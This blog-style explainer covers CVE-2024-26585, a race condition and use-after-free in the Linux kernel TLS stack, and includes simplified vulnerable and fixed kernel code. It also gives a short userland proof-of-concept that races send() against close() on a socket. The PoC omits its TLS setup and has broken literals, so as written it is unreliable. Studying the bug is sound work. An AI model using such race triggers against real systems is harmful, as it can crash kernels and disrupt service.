---

Introduction

In February 2024, a serious vulnerability was identified and patched in the Linux kernel’s TLS (Transport Layer Security) stack. Tracked as CVE-2024-26585, this bug was specifically a *race condition* between asynchronous crypto work scheduling and socket closure. The nature of the race could, in certain conditions, allow use-after-free bugs or even kernel panics — especially under network-heavy workloads or high parallel usage of TLS connections.

This post will explain the vulnerability in simple terms, provide example code for exploitation, link official resources, and describe the permanent fix.

What Is the Issue?

The TLS implementation in the Linux kernel supports asynchronous cryptographic operations: when a process encrypts or decrypts data (using sendmsg or recvmsg), that work could be handed off to a different context (a "workqueue" in kernel terminology).

The bug

- The code would call the crypto completion handler (complete()), which signaled that the job was done.
- Immediately after, the kernel would schedule more work or even try to access the just-freed socket, since the initiating thread might already be out of the function or even released the socket.
- If the user closed the socket at just the wrong instant (racing with the out-of-order completion), the kernel could access freed memory — a classic *use-after-free* condition.

Commit Description (Summary)

> ...the submitting thread (recvmsg/sendmsg) may exit as soon as the async crypto handler calls complete(). Reorder scheduling the work before calling complete(). This seems more logical in the first place, as it's the inverse order of what the submitting thread will do.

*Reference: Kernel.org commit 9444ce05a*

How It Works: Exploitation Scenario

Let’s walk through how a crafted program could tickle this bug.

User creates a TLS socket.

2. User launches multiple threads: Some rapidly send or receive data (sendmsg/recvmsg), while others close the socket as soon as operations finish.
3. Race trigger: If a sendmsg finishes and the kernel's completion handler (complete()) is called before the kernel schedules further encryption work, one thread might have closed (or freed) the socket while another still tries to access it.

use-after-free: Code accesses memory that just got reused.

- Crash/panic or potentially remote code execution (though in realistic scenarios, most likely DoS).

Vulnerable Kernel Code (Before Patch)

Here’s a simplified C-like fragment showing the issue (see the real patch here):

// Vulnerable order!
void tls_async_crypto_handler(struct tls_context *ctx) {
    complete(&ctx->crypto_complete); // Notifies submitting thread
    schedule_work(&ctx->tx_work);    // Schedules further work (danger)
    // If submitting thread has exited, ctx could be freed here!
}

If the thread that submitted the crypto work (sendmsg or recvmsg) exits immediately after complete(), the memory associated with ctx may get freed. When schedule_work tries to use it, it's a use-after-free bug.

Fixed Kernel Code (After Patch)

The fix is simple but effective: reorder the calls!

// Corrected order:
void tls_async_crypto_handler(struct tls_context *ctx) {
    schedule_work(&ctx->tx_work);    // Always schedule first
    complete(&ctx->crypto_complete); // Then notify submission
    // Now, even if the submitting thread exits, kernel is safe
}

Minimal Proof-of-Concept (Userland)

Though a full exploit is very kernel/environment-dependent and not always reliable, you _could_ stress-test this with rapid fire threads. This example creates a TLS socket, sends & receives data, and rapidly closes it to maximize the race window:

// Needs Linux 5.x+ with TLS support; link with -lssl -lpthread
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <linux/tls.h>
#include <errno.h>

void* sender(void *sock_ptr) {
    int sock = *(int*)sock_ptr;
    char buffer[4096] = "data";
    for (int i = ; i < 100; ++i)
        send(sock, buffer, sizeof(buffer), );
    return NULL;
}

void* closer(void *sock_ptr) {
    int sock = *(int*)sock_ptr;
    usleep(rand() % 100); // Race
    close(sock);
    return NULL;
}

int main() {
    int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    // ... Setup TLS socket, connect to something, omitted ...
    pthread_t t1, t2;
    pthread_create(&t1, NULL, sender, &sock);
    pthread_create(&t2, NULL, closer, &sock);
    pthread_join(t1, NULL);
    pthread_join(t2, NULL);
    // May trigger the race in unpatched kernels
}

Note: Actually hitting the bug on demand is rare; it's mostly a concurrency stress test.

Who Is Affected?

- Linux kernel with TLS sockets (kTLS) enabled: Generally 4.13+ kernels using SOCK_STREAM with IPPROTO_TCP.
- All versions before the fix (around Feb 2024), if running network workloads with high parallelism and custom TLS (kTLS) usage.

References

- Upstream Kernel Commit (Fix)
- CVE-2024-26585 on NVD
- Linux Kernel TLS docs

Conclusion

CVE-2024-26585 is a subtle but important vulnerability in the Linux kernel’s TLS implementation, arising from a classic race condition between asynchronous work scheduling and resource cleanup. While practical exploitation is tricky and mainly leads to crashes, this bug highlights the dangers of concurrency bugs in security-critical code.

*Make sure to update your Linux kernels to versions with the fix applied!*


*See also: CVE-2023-1078 - a similar race bug involving TLS cleanup.*

Timeline

Published on: 02/21/2024 15:15:09 UTC
Last modified on: 03/14/2024 20:18:37 UTC